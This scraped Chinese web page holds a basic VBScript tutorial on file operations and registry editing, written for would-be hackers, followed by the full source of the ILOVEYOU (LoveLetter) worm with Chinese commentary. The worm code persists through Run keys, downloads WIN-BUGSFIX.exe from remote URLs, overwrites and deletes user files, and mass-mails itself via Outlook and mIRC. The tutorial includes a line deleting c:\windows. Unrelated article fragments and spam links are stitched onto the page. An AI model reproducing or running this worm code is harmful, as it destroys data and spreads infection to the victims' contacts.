1. <nobr id="easjo"><address id="easjo"></address></nobr>

      <track id="easjo"><source id="easjo"></source></track>
      1. 
        

      2. <bdo id="easjo"><optgroup id="easjo"></optgroup></bdo>
      3. <track id="easjo"><source id="easjo"><em id="easjo"></em></source></track><option id="easjo"><span id="easjo"><em id="easjo"></em></span></option>
          貴州做網站公司
          貴州做網站公司~專業!靠譜!
          10年網站模板開發經驗,熟悉國內外開源網站程序,包括DEDECMS,WordPress,ZBlog,Discuz! 等網站程序,可為您提供網站建設,網站克隆,仿站,網頁設計,網站制作,網站推廣優化等服務。我們專注高端營銷型網站,企業官網,集團官網,自適應網站,手機網站,網絡營銷,網站優化,網站服務器環境搭建以及托管運維等。為客戶提供一站式網站解決方案?。?!

          jscript教程(最基礎的vbscript)

          來源:互聯網轉載 時間:2024-05-06 11:04:57

          1、我們的第一個vbs程序:還是那個老得掉牙的冬冬。

          ************************hello.vbs**************************

          dimhello

          hello=”helloworld!”

          wscript.echohello

          wscriptecho“thisismyfirstvbs”

          可以看出wscript.echo有兩種用法,這個不難。

          可以直接雙擊運行,可以在當前目錄的命令行輸入:

          cscripthello.vbs


          2、在腳本中調用其他的程序:

          使用run()方法,在使用前必須先建立shell的實例

          ********************shell.vbs******************************************

          setws=wscript.createobject("wscript.shell")

          ret=ws.run("notepad",3,true)

          ifret=0then

          wscript.echo“succeed!”

          else

          wscript.echo“thereisaerror,theerrornumberis:”

          wscript.echocstr(ret)

          endif

          ***************************************************************************

          這里run有三個參數,第一個參數是你要執行的程序的路徑

          第二個程序是窗口的形式,0是在后臺運行;

          1表示正常運行

          2表示激活程序并且顯示為最小化

          3表示激活程序并且顯示為最大化

          一共有10個這樣的參數我只列出了4個最常用的。

          第三個參數是表示這個腳本是等待還是繼續執行,如果設為了true,腳本就會等待調用的程序退出后再向后執行。

          注意到沒有,我在run的前面還有一個接受返回值的變量,一般來說如果返回為0,表示成功執行,如果不為0,則這個返回值就是錯誤代碼,可以通過這個代碼找出相應的錯誤。


          3、inputbox和msgbox

          會vb的人對著兩個東西應該很熟悉,用法也沒什么差別

          input=inputbox(“pleaseenteryoupassword”,”passwd”)

          ifinput<>”1234”

          then

          msgbox“youenterawrongpasswd”

          endif

          當然你也可以給msgbox添加按鈕,用一個變量接受用戶的選擇

          例如:ret=msgbox“continue?”,vbyesnocancel

          返回值和常量對照如下:

          vbok1

          vbcancel2

          vbabort3

          vbretry4

          vbignore5

          vbyes6

          vbno7


          4、錯誤處理

          何vb一樣用onerrorresumenext

          這個沒什么好說的,如果遇到了錯誤就跳過繼續執行下一句

          當然這個方法很弱智,還需要有一個方法,vbscript提供了一個對象err對象

          他有兩個方法clear,raise

          5個屬性:description,helpcontext,helpfile,number,source

          我們可以利用err.number獲得錯誤號例如

          ***********************err.vbs*****************************

          onerrorresumenext

          a=11

          b=0

          c=a/b

          iferr.number<>0then

          wscript.echoerr.number&err.description&err.source

          endif

          我們可以用err.raisel來手工拋出錯誤

          比如我們要產生一個pathnotfound的錯誤告訴用戶,他填寫的路徑不對

          onerrorresumenext

          err.raise76

          msgbox"error:"&err.description

          err.clear


          vbscript腳本編程教程2

          bysssa2000

          7/7/2004

          我們來看一看怎么利用fso來進行文件操作。Fso時vbs里進行文件操作的核心。作為黑客,不管學習什么語言,對文件的操作都應該是要了如指掌的,所以請大家仔細學習。

          不說廢話,先看fso由哪幾個對象組成:


          drive對象:包含儲存設備的信息,包括硬盤,光驅,ram盤,網絡驅動器

          drives集合:提供一個物理和邏輯驅動器的列表

          file對象:檢查和處理文件

          files集合:提供一個文件夾中的文件列表

          folder對象:檢查和處理文件夾

          folders集合:提供文件夾中子文件夾的列表

          textstream對象:讀寫文本文件


          看看fso的方法:由于很多,所以我不會把每個的作用寫出來,如果有不懂的,自己查一下msdn。不要說沒有哦

          bulidpath:把文件路徑信息添加到現有的文件路徑上

          copyfile

          copyfolder

          createfolder

          createtextfile

          deletefile

          deletefolder

          dreveexits

          fileexits

          folderexists

          getabsolutepathname:返回一個文件夾或文件的絕對路徑

          getbasename:返回一個文件或文件夾的基本路徑

          getdrive:返回一個dreve對象

          getdrivename:返回一個驅動器的名字

          getextensionname:返回擴展名

          getfile:返回一個file對象

          getfilename:返回文件夾中文件名稱

          getfolder

          getparentfoldername:返回一個文件夾的父文件夾

          getspecialfolder:返回指向一個特殊文件夾的對象指針

          gettempname:返回一個可以被createtextfile使用的隨機產生的文件或文件夾的名稱

          movefile

          movefolder

          opentextfile


          1、使用fso

          由于fso不是wsh的一部分,所以我們需要建立他的模型

          例如setfs=wscript.createobject(“scripting.filesystemobject”)

          這樣就建立了fso的模型。如果要釋放的話也很簡單,setfs=nothing



          2、使用文件夾

          創建:

          在創建前我們需要檢查是否存在,看一下程序

          ***************************createfolder.vbs*****************************

          dimfs,s

          setfs=wscript.createobject(“scripting.filesystemobject”)

          if(fs.folderexists(“c:\temp”))then

          s=”isavailable”

          else

          s=”notexist”

          setfoldr=fs.createfolder(“c:\temp”)

          endif

          刪除、拷貝、移動


          刪除:

          setfs=wscript.createobject(“scripting.filesystemobject”)

          fs.deletefolder(“c:\windows”)


          拷貝:

          setfs=wscript.createobject(“scripting.filesystemobject”)

          fs.copyfolder“c:\data”“d:\data”

          注意,如果這個時候c:\data和d:\data都存在,會出錯,復制也就會停止,如果要強制覆蓋,使用fs.copyfolder“c:\data”“d:\data”,true


          移動

          setfs=wscript.createobject(“scripting.filesystemobject”)

          fs.movefolder“c:\data”“d:\data”


          關于通配符:

          我們可以使用統配符,來方便操作:

          例如,fs.movefolder:c:\data\te*”,“d:\working”

          注意到沒有,我在目的路徑最后沒有使用“\”也就是說我沒有這樣寫:

          fs.movefolder:c:\data\te*”,“d:\working\”

          這樣寫的話,如果d:\working目錄不存在,windows就不會為我們自動創建這個目錄。


          還有一點,大家注意到沒有上面說的都沒有涉及到folder對象,我們都是在利用fso提供的方法,當然利用folder一樣可以的:

          setfs=wscript.createobject(“scripting.filesystemobject”)

          setf=fs.getfolder(“c:\data”)

          f.delete‘刪除。如果有子目錄,也會被刪除

          f.copy“d:\working”,true‘拷貝到d:\working

          f.move:”d:\temp”‘移動到d:\temp


          特殊文件夾

          一般指的就是系統文件夾:\windows\system32,臨時文件夾,windows文件夾

          看下面,我們使用環境變量來獲得windows目錄,關于環境變量我們會在后面詳細講道,如果我忘記了請大家提醒我

          setfs=wscript.createobject(“scripting.filesystemobject”)

          setwshshell=wscript.createobject(“wscript.shell”)

          osdir=wshshell.expandenvironmentstrings(“%systemroot%”)

          setf=fs.getfolder(osdir)

          wscript.echof


          當然,還有簡單的方法那就是使用getspecialfolder()

          這個方法使用3種值:

          0表示windows文件夾,相關常量是windowsfolder

          1系統文件夾,相關常量是systemfolder

          2臨時目錄,相關常量temporaryfolder

          看下面的例子:

          ***********************************getspecialfolder***************************

          setfs=wscript.createobject(“scripting.filesystemobject”)

          setwfolder=fs.getspecialfolder(0)‘返回windows目錄

          setwfolder=fs.getspecialfolder(1)‘返回system32\

          setwfolder=fs.getspecialfolder(2)'返回臨時目錄


          3、使用文件

          使用文件屬性:

          文件夾的屬性我沒有說,大家可以從文件屬性里舉一反三

          文件屬性常用的就是:

          normal0

          readonly1

          hideen2

          system4


          setfs=wscript.createobject(“scripting.filesystemobject”)

          setf=fs.gerfile(“d:\index.txt”)

          f.attributes=f.attributes+1


          這里由于不知道d:\index.txt的文件屬性,所以會發生不可預測的結果,如果文件的屬性是0,那么就會變成1。所以最好在改變屬性前查詢


          創建

          創建前需要檢查文件是否存在,方法和前面說的文件夾的方法一樣

          *****************************file.vbs**********************************

          setfs=wscript.createobject(“scripting.filesystemobject”)

          iffs.fileexists(“c:\asd.txt”)then

          s=”available”

          else

          s=notexist”

          setf=fs.createtextfile(“c:\asd.txt”)

          endif

          當然我們也可以使用setf=fs.createtextfile(“c:\asd.txt”,true)

          來強制覆蓋已存在的文件。



          復制移動刪除文件

          和文件夾一樣我們既可以使用fso提供的方法也可以用file對象

          setfs=wscript.createobject(“scripting.filesystemobject”)

          fs.copyfile“c:\asd.txt”,”d:\1\asd.txt”,true‘復制文件,如果已存在就強制覆蓋

          fs.movefile“c:\asd.txt”,“d:\”‘移動

          fs.deletefile“c:\asd.txt”‘刪除


          Vbscript腳本編程3關于文件的讀寫


          Bysssa2000

          7/9/2004


          使用vbscript來讀寫文件,十分的方便,廢話少說,切入正題。


          1、打開文件

          使用opentextfile方法

          setfs=createobject(“scripting.filesystemobject”)

          setts=fs.opentextfile(“c:\1.txt”,1,true)

          注意這里需要填入文件的完整路徑,后面一個參數為訪問模式

          1為forreading

          2為forwriting

          8為appending

          第三個參數指定如果指定文件不存在,是否創建。

          2、讀取文件

          讀取文件的方法有三個

          read(x)讀取x個字符

          readline讀取一行

          readall全部讀取

          例如:

          setfs=createobject(“scripting.filesystemobject”)

          setts=fs.opentextfile(“c:\1.txt”,1,true)

          value=ts.read(20)

          line=ts.readline

          contents=ts.readall


          這里還要介紹幾個指針變量:

          textstream對象的atendofstream屬性。當處于文件結尾的時候這個屬性返回true.我們可以用循環檢測又沒有到達文件末尾。例如:

          setfs=createobject(“scripting.filesystemobject”)

          setf=fs.getfile(“c:\1.txt”,1,false)

          setts=f.openastextstream(1,0)

          dowhilets.atendofstream<>true

          f.read(1)

          loop


          還有一個屬性,atendofline,如果已經到了行末尾,這個屬性返回true.

          Textstream對象還有兩個有用的屬性,column和line.

          在打開一個文件后,行和列指針都被設置為1。

          看一個綜合的例子吧:

          *******************************read.vbs******************************

          setfs=createobject(“scripting.filesystemobject”)

          setf=fs.opentextfile(“c:\1.txt”,1,true)

          dowhilef.atendofstream<>true

          data=””

          fora=1to5

          iff.atendofstream<>truethen

          data=data+f.readline

          endif

          next

          dataset=dataset+1

          wscript.echo“dataset” &dataset&”:”&data

          loop



          最后說一下在文件中跳行

          skip(x)跳過x個字符

          skipline跳過一行

          用法也很簡單和前面一樣,就不說了。


          3、寫文件

          可以用forwriting和forappending方式來寫

          寫有3各方法:

          write(x)

          writeline

          writeblanklines(n)寫入n個空行


          來看一個例子:

          *****************************************************************

          data=”hello,Ilikescriptprograming”

          setfs=createobject(“scripting.filesystemobject”)

          if(fs.fileexists(“c:\2.txt”))then

          setf=fs.opentextfile(“c:\2.txt”,8)

          f.writedata

          f.writelinedata

          f.close

          else

          setf=fs.opentextfile(“c:\2.txt”,2,true)

          f.writeblanklines2

          f.writedata

          f.close

          endif

          注意寫完文件以后一定要關閉!!!!!!!還有就是,如果要讀文件又要寫文件,讀完之后一定也要記得關閉,這樣才能以寫的方式打開。


          Vbscript編程5

          注冊表,修改注冊表是編程的一個基本技能,腳本編程當然也不例外。

          這里,我就不再講解注冊表的基本結構。


          1、讀注冊表的關鍵詞和值:

          可以通過把關鍵詞的完整路徑傳遞給wshshell對象的regread方法

          例如:

          setws=wscript.createobject("wscript.shell")

          v=ws.regread("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\nwiz")

          wscript.echov


          2、寫注冊表

          有讀就有寫了,使用wshshell對象的regwrite方法

          看例子:

          path="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\"

          setws=wscript.createobject("wscript.shell")

          t=ws.regwrite(path&"jj","hello")


          這樣就把

          HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\jj這個鍵值改成了hello.不過要注意:這個鍵值一定要預先存在。


          如果要創建一個新的關鍵詞,同樣也是用這個方法。

          path="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\run\sssa2000\love\"

          setws=wscript.createobject("wscript.shell")

          val=ws.regwrite(path,"nenboy")

          val=ws.regread(path)

          wscript.echoval


          刪除關鍵字和值

          使用regdelete方法,把完整的路徑傳遞給regdelete就可以了

          例如

          val=ws.regdel(path)

          注意,如果要刪除關鍵詞的值的話一定要在路徑最后加上“\”,如果不加斜線,就會刪除整個關鍵詞。


          rembarok-loveletter(vbe)<ihategotoschool>
          remby:spyder/ispyder@mail.com/@GRAMMERSoftGroup/Manila,Philip
          pines
          '注釋:程序作者的簽名(可能)

          OnErrorResumeNext
          dimfso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow
          eq=""
          ctr=0
          Setfso=CreateObject("Scripting.FileSystemObject")
          '注釋:FileSystemObject是M$VBVM系統中最危險的部分,它的功能十分強大

          '從病毒使用FSO可以知道,通過修改注冊表,可以輕易防止LoveLetter發作。


          setfile=fso.OpenTextFile(WScript.ScriptFullname,1)'返回當前腳本的完整路徑
          vbscopy=file.ReadAll
          main()
          '注釋-程序初始化完成。

          submain()
          OnErrorResumeNext
          dimwscr,rr
          setwscr=CreateObject("WScript.Shell")
          rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WindowsScriptin
          gHost\Settings\Timeout")
          if(rr>=1)then
          wscr.RegWrite"HKEY_CURRENT_USER\Software\Microsoft\WindowsScripting
          Host\Settings\Timeout",0,"REG_DWORD"
          '注釋-防止操作超時造成的程序終止。
          '應該說,編寫病毒的程序員考慮到了可能發生的問題,這一點值得所有的編程
          者借鑒。
          endif
          Setdirwin=fso.GetSpecialFolder(0)
          Setdirsystem=fso.GetSpecialFolder(1)
          Setdirtemp=fso.GetSpecialFolder(2)
          '獲取系統關鍵文件夾的名稱
          'VB編程時可以用。

          Setc=fso.GetFile(WScript.ScriptFullName)'返回當前腳本的完整路徑
          c.Copy(dirsystem&"\MSKernel32.vbs")'Copiesaspecifiedfileorfolderfromonelocationtoanother.
          c.Copy(dirwin&"\Win32DLL.vbs")
          c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
          '復制自身到關鍵目錄中備用。
          '文件名并不是很好。太容易被發現了。

          regruns()
          html()
          spreadtoemail()
          listadriv()
          endsub


          subregruns()
          '修改注冊表,以便自動裝載病毒程序
          '預防:經常檢查注冊表中的這一分支。
          '已知的方法還有把HTA放入Startup文件夾。病毒程序使用的方法更先進,
          '因為它不會因為語言問題而失效。
          OnErrorResumeNext
          Dimnum,downread
          regcreate"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersio
          n\Run\MSKernel32",dirsystem&"\MSKernel32.vbs"
          regcreate"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersio
          n\RunServices\Win32DLL",dirwin&"\Win32DLL.vbs"
          downread=""
          downread=regget("HKEY_CURRENT_USER\Software\Microsoft\InternetExplore
          r\DownloadDirectory")
          if(downread="")then
          downread="c:\"
          endif
          if(fileexist(dirsystem&"\WinFAT32.exe")=1)then
          Randomize
          num=Int((4*Rnd)+1)
          ifnum=1then
          regcreate"HKCU\Software\Microsoft\InternetExplorer\Main\StartPage",
          "http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfmhPnj
          w6587345gvsdf7679njbvYT/WIN-BUGSFIX.exe"
          elseifnum=2then
          regcreate"HKCU\Software\Microsoft\InternetExplorer\Main\StartPage",
          "http://www.skyinet.net/~angelcat/skladjflfdjghKJnwetryDGFikjUIyqwerWe
          546786324hjk4jnHHGbvbmKLJKjhkqj4w/WIN-BUGSFIX.exe"
          elseifnum=3then
          regcreate"HKCU\Software\Microsoft\InternetExplorer\Main\StartPage",
          "http://www.skyinet.net/~koichi/jf6TRjkcbGRpGqaq198vbFV5hfFEkbopBdQZnm
          POhfgER67b3Vbvg/WIN-BUGSFIX.exe"
          elseifnum=4then
          regcreate"HKCU\Software\Microsoft\InternetExplorer\Main\StartPage",
          "http://www.skyinet.net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSDGjkh
          YUgqwerasdjhPhjasfdglkNBhbqwebmznxcbvnmadshfgqw237461234iuy7thjg/WIN-B
          UGSFIX.exe"
          endif
          endif
          if(fileexist(downread&"\WIN-BUGSFIX.exe")=0)then
          regcreate"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersio
          n\Run\WIN-BUGSFIX",downread&"\WIN-BUGSFIX.exe"
          regcreate"HKEY_CURRENT_USER\Software\Microsoft\InternetExplorer\Main
          \StartPage","about:blank"
          endif
          endsub

          subfolderlist(folderspec)
          '遍歷文件夾
          OnErrorResumeNext
          dimf,f1,sf
          setf=fso.GetFolder(folderspec)
          setsf=f.SubFolders'得到某一特定文件夾的所有子文件夾,包括系統隱藏文件夾
          foreachf1insf'f1為每一個子文件夾的對象
          infectfiles(f1.path)'傳染文件的操作
          folderlist(f1.path)'再次進行文件夾遍歷
          next
          endsub


          sublistadriv
          '遍歷所有驅動器。
          OnErrorResumeNext
          Dimd,dc,s
          Setdc=fso.Drives
          ForEachdindc
          Ifd.DriveType=2ord.DriveType=3Then'2.3分別為硬盤和網絡共享盤
          folderlist(d.path&"\")
          endif
          Next
          listadriv=s
          endsub

          functionfileexist(filespec)
          '判斷文件是否存在
          '純粹從技術角度講,這段程序寫的不怎么樣。
          '不用寫這么長就能夠實現相同的功能
          OnErrorResumeNext
          dimmsg
          if(fso.FileExists(filespec))Then
          msg=0
          else
          msg=1
          endif
          fileexist=msg
          endfunction


          functionfolderexist(folderspec)
          '判斷文件夾是否存在
          '和上一段程序一樣臭。
          OnErrorResumeNext
          dimmsg
          if(fso.GetFolderExists(folderspec))then
          msg=0
          else
          msg=1
          endif
          fileexist=msg
          endfunction

           


          subinfectfiles(folderspec)
          '執行傳染文件的操作。
          OnErrorResumeNext
          dimf,f1,fc,ext,ap,mircfname,s,bname,mp3
          setf=fso.GetFolder(folderspec)
          setfc=f.Files'得到某一特定文件夾的所有文件,包括系統隱藏文件
          foreachf1infc
          ext=fso.GetExtensionName(f1.path)'得到擴展名
          ext=lcase(ext)'轉變為小寫
          s=lcase(f1.name)
          if(ext="vbs")or(ext="vbe")then
          setap=fso.OpenTextFile(f1.path,2,true)
          ap.writevbscopy'vbscopy=file.ReadAll
          ap.close
          elseif(ext="js")or(ext="jse")or(ext="css")or(ext="wsh")or(ext=
          "sct")or(ext="hta")then
          setap=fso.OpenTextFile(f1.path,2,true)
          ap.writevbscopy
          ap.close
          bname=fso.GetBaseName(f1.path)
          setcop=fso.GetFile(f1.path)
          cop.copy(folderspec&"\"&bname&".vbs")
          fso.DeleteFile(f1.path)
          elseif(ext="jpg")or(ext="jpeg")then
          setap=fso.OpenTextFile(f1.path,2,true)
          ap.writevbscopy
          ap.close
          setcop=fso.GetFile(f1.path)
          cop.copy(f1.path&".vbs")
          fso.DeleteFile(f1.path)
          elseif(ext="mp3")or(ext="mp2")then
          setmp3=fso.CreateTextFile(f1.path&".vbs")
          mp3.writevbscopy
          mp3.close
          setatt=fso.GetFile(f1.path)
          att.attributes=att.attributes+2
          endif
          if(eq<>folderspec)then
          if(s="mirc32.exe")or(s="mlink32.exe")or(s="mirc.ini")or(s="scri
          pt.ini")or(s="mirc.hlp")then
          setscriptini=fso.CreateTextFile(folderspec&"\script.ini")
          scriptini.WriteLine"[script]"
          scriptini.WriteLine";mIRCScript"
          scriptini.WriteLine";Pleasedonteditthisscript...mIRCwillcorru
          pt,ifmIRCwill"
          scriptini.WriteLine"corrupt...WINDOWSwillaffectandwillnotrun
          correctly.thanks"
          '病毒作者的英文恐怕沒學好……不過,這樣嚇唬人也夠損的了。
          '這里提醒各位注意,不要在乎那些嚇人的文字,仔細觀察就會發現漏洞其實不
          少。
          scriptini.WriteLine";"
          scriptini.WriteLine";KhaledMardam-Bey"
          scriptini.WriteLine";http://www.mirc.com"
          scriptini.WriteLine";"
          scriptini.WriteLine"n0=on1:JOIN:#:{"
          scriptini.WriteLine"n1=/if($nick==$me){halt}"
          scriptini.WriteLine"n2=/.dccsend$nick"&dirsystem&"\LOVE-LETTER-FO
          R-YOU.HTM"
          scriptini.WriteLine"n3=}"
          '注意,這樣做的結果是,MIRC也能夠傳染病毒。
          scriptini.close
          eq=folderspec
          endif
          endif
          next
          endsub


          subregcreate(regkey,regvalue)
          '修改注冊表(創建鍵值)
          '這個程序似乎是微軟的示范程序。
          Setregedit=CreateObject("WScript.Shell")
          regedit.RegWriteregkey,regvalue
          endsub


          functionregget(value)
          '這個程序似乎也是微軟的示范程序。(WSH示范,在Windows文件夾)
          Setregedit=CreateObject("WScript.Shell")
          regget=regedit.RegRead(value)
          endfunction


          subspreadtoemail()
          '通過電子郵件擴散
          OnErrorResumeNext
          dimx,a,ctrlists,ctrentries,malead,b,regedit,regv,regad
          setregedit=CreateObject("WScript.Shell")
          setout=WScript.CreateObject("Outlook.Application")
          '病毒的局限:只支持Outlook,而OutlookExpress則不支持。
          setmapi=out.GetNameSpace("MAPI")
          forctrlists=1tomapi.AddressLists.Count
          seta=mapi.AddressLists(ctrlists)
          x=1
          regv=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a)
          if(regv="")then
          regv=1
          endif
          if(int(a.AddressEntries.Count)>int(regv))then
          forctrentries=1toa.AddressEntries.Count
          malead=a.AddressEntries(x)
          regad=""
          regad=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&male
          ad)
          if(regad="")then
          setmale=out.CreateItem(0)
          male.Recipients.Add(malead)
          male.Subject="ILOVEYOU"
          '病毒得名的原因
          '見到這樣的郵件,肯定是病毒。
          '頭腦正常的人恐怕不會這樣直白的。
          male.Body=vbcrlf&"kindlychecktheattachedLOVELETTERcomingfromm
          e."
          male.Attachments.Add(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
          male.Send
          regedit.RegWrite"HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead,1,
          "REG_DWORD"
          endif
          x=x+1
          next
          regedit.RegWrite"HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.Addre
          ssEntries.Count
          else
          regedit.RegWrite"HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.Addre
          ssEntries.Count
          endif
          next
          Setout=Nothing
          Setmapi=Nothing
          endsub
          subhtml
          '從技術角度說,這段程序寫得很漂亮,原因在于充分地利用了Outlook的資源
          '值得編寫程序的借鑒。
          '程序中間的_符號是連接線,所以注釋寫在這里。
          '程序中無效語句很多,浪費了不少空間。
          OnErrorResumeNext
          dimlines,n,dta1,dta2,dt1,dt2,dt3,dt4,l1,dt5,dt6
          dta1="<HTML><HEAD><TITLE>LOVELETTER-HTML<?-?TITLE><METANAME=@-@Gene
          rator@-@CONTENT=@-@BAROKVBS-LOVELETTER@-@>"&vbcrlf&_
          "<METANAME=@-@Author@-@CONTENT=@-@spyder?-?ispyder@mail.com?-?@G
          RAMMERSoftGroup?-?Manila,Philippines?-?March2000@-@>"&vbcrlf&_

          "<METANAME=@-@Description@-@CONTENT=@-@simplebutithinkthisisgo
          od...@-@>"&vbcrlf&_
          "<?-?HEAD><BODYONMOUseoUT=@-@window.name=#-#main#-#;window.open(#-#LO
          VE-LETTER-FOR-YOU.HTM#-#,#-#main#-#)@-@"&vbcrlf&_
          "ONKEYDOWN=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YO
          U.HTM#-#,#-#main#-#)@-@BGPROPERTIES=@-@fixed@-@BGCOLOR=@-@#FF9933@-@
          >"&vbcrlf&_
          "<CENTER><p>ThisHTMLfileneedActiveXControl<?-?p><p>ToEnabletor
          eadthisHTMLfile<BR>-Pleasepress#-#YES#-#buttontoEnableActive
          X<?-?p>"&vbcrlf&_
          "<?-?CENTER><MARQUEELOOP=@-@infinite@-@BGCOLOR=@-@yellow@-@>--------
          --z--------------------z----------<?-?MARQUEE>"&vbcrlf&_
          "<?-?BODY><?-?HTML>"&vbcrlf&_
          "<SCRIPTlanguage=@-@JScript@-@>"&vbcrlf&_
          "<!--?-??-?"&vbcrlf&_
          "if(window.screen){varwi=screen.availWidth;varhi=screen.availHeight
          ;window.moveTo(0,0);window.resizeTo(wi,hi);}"&vbcrlf&_
          "?-??-?-->"&vbcrlf&_
          "<?-?script>"&vbcrlf&_
          "<SCRIPTLANGUAGE=@-@VBScript@-@>"&vbcrlf&_
          "<!--"&vbcrlf&_
          "onerrorresumenext"&vbcrlf&_
          "dimfso,dirsystem,wri,code,code2,code3,code4,aw,regdit"&vbcrlf&_
          "aw=1"&vbcrlf&_
          "code="
          dta2="setfso=CreateObject(@-@Scripting.FileSystemObject@-@)"&vbcrlf&
          _
          "setdirsystem=fso.GetSpecialFolder(1)"&vbcrlf&_
          "code2=replace(code,chr(91)&chr(45)&chr(91),chr(39))"&vbcrlf&_
          "code3=replace(code2,chr(93)&chr(45)&chr(93),chr(34))"&vbcrlf&_
          "code4=replace(code3,chr(37)&chr(45)&chr(37),chr(92))"&vbcrlf&_
          "setwri=fso.CreateTextFile(dirsystem&@-@^-^MSKernel32.vbs@-@)"&vbcrlf
          &_
          "wri.writecode4"&vbcrlf&_
          "wri.close"&vbcrlf&_
          "if(fso.FileExists(dirsystem&@-@^-^MSKernel32.vbs@-@))then"&vbcrlf&
          _
          "if(err.number=424)then"&vbcrlf&_
          "aw=0"&vbcrlf&_
          "endif"&vbcrlf&_
          "if(aw=1)then"&vbcrlf&_
          "document.write@-@ERROR:can#-#tinitializeActiveX@-@"&vbcrlf&_
          "window.close"&vbcrlf&_
          "endif"&vbcrlf&_
          "endif"&vbcrlf&_
          "Setregedit=CreateObject(@-@WScript.Shell@-@)"&vbcrlf&_
          "regedit.RegWrite@-@HKEY_LOCAL_MACHINE^-^Software^-^Microsoft^-^Windo
          ws^-^CurrentVersion^-^Run^-^MSKernel32@-@,dirsystem&@-@^-^MSKernel32.v
          bs@-@"&vbcrlf&_
          "?-??-?-->"&vbcrlf&_
          "<?-?script>"
          dt1=replace(dta1,chr(35)&chr(45)&chr(35),"'")
          dt1=replace(dt1,chr(64)&chr(45)&chr(64),"""")
          dt4=replace(dt1,chr(63)&chr(45)&chr(63),"/")
          dt5=replace(dt4,chr(94)&chr(45)&chr(94),"\")
          dt2=replace(dta2,chr(35)&chr(45)&chr(35),"'")
          dt2=replace(dt2,chr(64)&chr(45)&chr(64),"""")
          dt3=replace(dt2,chr(63)&chr(45)&chr(63),"/")
          dt6=replace(dt3,chr(94)&chr(45)&chr(94),"\")
          setfso=CreateObject("Scripting.FileSystemObject")
          setc=fso.OpenTextFile(WScript.ScriptFullName,1)
          lines=Split(c.ReadAll,vbcrlf)
          l1=ubound(lines)
          forn=0toubound(lines)
          lines(n)=replace(lines(n),"'",chr(91)+chr(45)+chr(91))
          lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
          lines(n)=replace(lines(n),"\",chr(37)+chr(45)+chr(37))
          if(l1=n)then
          lines(n)=chr(34)+lines(n)+chr(34)
          else
          lines(n)=chr(34)+lines(n)+chr(34)&"&vbcrlf&_"
          endif
          next
          setb=fso.CreateTextFile(dirsystem+"\LOVE-LETTER-FOR-YOU.HTM")
          b.close
          setd=fso.OpenTextFile(dirsystem+"\LOVE-LETTER-FOR-YOU.HTM",2)
          d.writedt5
          d.writejoin(lines,vbcrlf)
          d.writevbcrlf
          d.writedt6
          d.close
          endsub

          到此,關于“最基礎的vbscript,jscript腳本編程方法”的學習就結束了,希望能夠解決大家的疑惑。理論與實踐的搭配能更好的幫助大家學習,快去試試吧!若想繼續學習更多相關知識,請繼續關注本站網站,小編會繼續努力為大家帶來更多實用的文章!

          標簽:jscript教程-

          c語言中正確的字符常量是用一對單引號將一個字符括起表示合法的字符常量。例如‘a’。數值包括整型、浮點型。整型可用十進制,八進制,十六進制。八進制前面要加0,后面...

          2022年天津專場考試原定于3月19日舉行,受疫情影響確定延期,但目前延期后的考試時間推遲。 符合報名條件的考生,須在規定時間登錄招考資訊網(www.zha...

          :喜歡聽,樂意看。指很受歡迎?!巴卣官Y料”喜聞樂見:[ xǐ wén lè jiàn ]詳細解釋1. 【解釋】:喜歡聽,樂意看。指很受歡迎。2. 【示例】:這是...

          淘寶直播日是哪天?淘寶直播超級福利日是每月的26日,在這個日子提前三天,主播們就可以開始報名提前預熱了,當然如果約到特殊營銷節點日期,超級福利日可能會有所調整,比如每年618或者雙促等這樣的節日。而對于粉絲來說,超級福利日能夠獲得更多的獎勵,首先是在直播過程中,每個整點都會提供直播間紅包或者淘寶優惠券,紅包和優惠券的價值總額至少都是5000元,這個整點的話大家應該都知道,就是指0點到24點的每一個...

          提起電腦桌面快捷方式看不見了怎么辦大家在熟悉不過了,被越來越多的人所熟知,那你知道電腦桌面快捷方式看不見了怎么辦嗎?快和小編一起去了解一下吧!桌面快捷方式找回方法:(相關資料圖)一、回收站里恢復?;謴筒襟E:1、打開回收站,查看是否有丟失的快捷方式。2、若有,選中快捷方式。3、點擊鼠標右鍵,選擇還原即可。二、顯示圖標恢復?;謴筒襟E:1、所有快捷方式都不見了。找回步驟:桌面上右擊鼠標,彈出灰色的列表后...

          在經濟新聞中我們有時候會看到硬著陸和軟著陸這樣的詞匯,那么你知道經濟硬著陸和軟著陸的區別是什么嗎?經濟硬著陸和軟著陸的區別?我們可以類比飛行器,飛行器的硬著陸會導致其被損壞,而軟著陸則可以導致其完后或者只有輕微的損害,在經濟中也是如此:【1】原因不同:硬著陸是因為經濟政策過緊所導致的,經濟會出現出較大程度的動蕩;軟著陸則是因為經濟政策得當,使得過快增長的經濟速度平穩的下降到一個合適的比例,而沒有出...

          TOP
          国产初高中生视频在线观看|亚洲一区中文|久久亚洲欧美国产精品|黄色网站入口免费进人
          1. <nobr id="easjo"><address id="easjo"></address></nobr>

              <track id="easjo"><source id="easjo"></source></track>
              1. 
                

              2. <bdo id="easjo"><optgroup id="easjo"></optgroup></bdo>
              3. <track id="easjo"><source id="easjo"><em id="easjo"></em></source></track><option id="easjo"><span id="easjo"><em id="easjo"></em></span></option>